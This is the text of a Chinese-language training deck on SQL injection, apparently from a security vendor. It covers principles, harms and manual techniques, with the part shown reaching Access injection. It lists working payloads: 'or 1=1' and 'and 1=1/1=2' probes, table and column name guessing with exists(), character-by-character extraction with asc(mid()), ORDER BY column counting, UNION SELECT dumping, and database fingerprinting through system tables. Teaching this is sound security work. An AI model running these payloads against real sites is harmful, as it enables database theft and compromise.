主要:SQL注入的原理、SQL注入的危害、SQL注入攻击的手段、
ASP+Access注入、ASPX+MsSQL注入、PHP+MySQL注入、JSP+Oracle注入;
以及深入SQL注入攻击,如SQL盲注、利用操作系统、SQL注入的绕过、如何防御SQL注入。
目录:
什么是SQL注入
SQL注入攻击
脚本类型+数据库类型注入
工具介绍
SQL盲注
利用操作系统
SQL注入绕过
防御SQL注
SQL注入
理解SQL注入 SQL注入是一种将SQL代码插入或添加到应用(用户)的输入参数中的攻击,之后再将这些参数传递给后台的SQL服务器加以解析并执行。理解SQL注入产生过程 www.topsec.com.cn/home.php?uid=1 www.topsec.com.cn/home.php?uid=1 or 1=1
理解SQL注入 OWASP
SQL注入产生的过程
SQL注入的危害 这些危害包括但不局限于: 数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。 网页篡改:通过操作数据库对特定网页进行篡改。 网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。 数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。 服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。 破坏硬盘数据,瘫痪全系统。 一些类型的数据库系统能够让SQL指令操作文件系统,这使得SQL注入的危害被进一步放大。
SQL注入攻击////:
取消友好HTTP错误消息
寻找SQL注入:单引号法/and 1=1 和 and 1=2 法
确认注入点
区分数字和字符串:
数字型: SELECT * FROM user WHERE id = 1 SELECT * FROM user WHERE id > 1
带引号类型的: SELECT * FROM user WHERE name = ‘admin’ SELECT * FROM user WHERE date > ‘2014-2-24’
内联SQL注入:内联注入是指插入查询注入SQL代码后,原来的查询仍然会全部执行。
字符串内联注入
数字值内联注入
终止式SQL注入:终止式SQL语句注入是指攻击者在注入SQL代码时,通过注释剩下的查询来成功结束该语句。
数据库注释语法
使用注释
识别数据库
数据库连接运算符
www.topsec.com.cn/home.php?user=admin --原始语句
www.topsec.com.cn/home.php?user=ad‘ + ’min --MsSQL
www.topsec.com.cn/home.php?user=ad‘ ’min --MySQL
www.topsec.com.cn/home.php?user=ad’ || ‘min --Oracle
ASP+Access注入
Access数据库注入攻击基本技术
爆出数据库类型
内置变量爆数据库类型
内置数据表爆数据库类型
猜表名: and exists (select * from 表名) and (select count(*) from 表名)>=0
猜字段名及字段长度: and exists(select 字段名 from 表名) and (select count(字段名) from 表名)>=0
猜字段长度: and (select top 1 len(字段名) from 表名)>1 and (select top 1 len(字段名) from 表名)>2 and (select top 1 len(字段名) from 表名)>n
猜字段值:
and (select top 1 asc(mid (字段名,1,1)) from 表名)>0 and (select top 1 asc(mid (字段名,1,1)) from 表名)>1 and (select top 1 asc(mid (字段名,1,1)) from 表名)>n and (select top 1 asc(mid (字段名,2,1)) from 表名)>0 and (select top 1 asc(mid (字段名,2,1)) from 表名)>2 and (select top 1 asc(mid (字段名,2,1)) from 表名)>n
SQL注入中的高效查询
Order by 猜字段数目: Order by 1 Order by 2 Order by n
Union select 爆字段内容: and 1=2 union select 1,字段名,字段2,...,n from 表名
爆出数据库类型-内置变量爆数据库类型
and user>0
爆出数据库类型-内置数据表爆数据库类型
and (select count(*) from sysobjects)>=0
and (select count(*) from msysobjects)>=0
手工注入猜解流程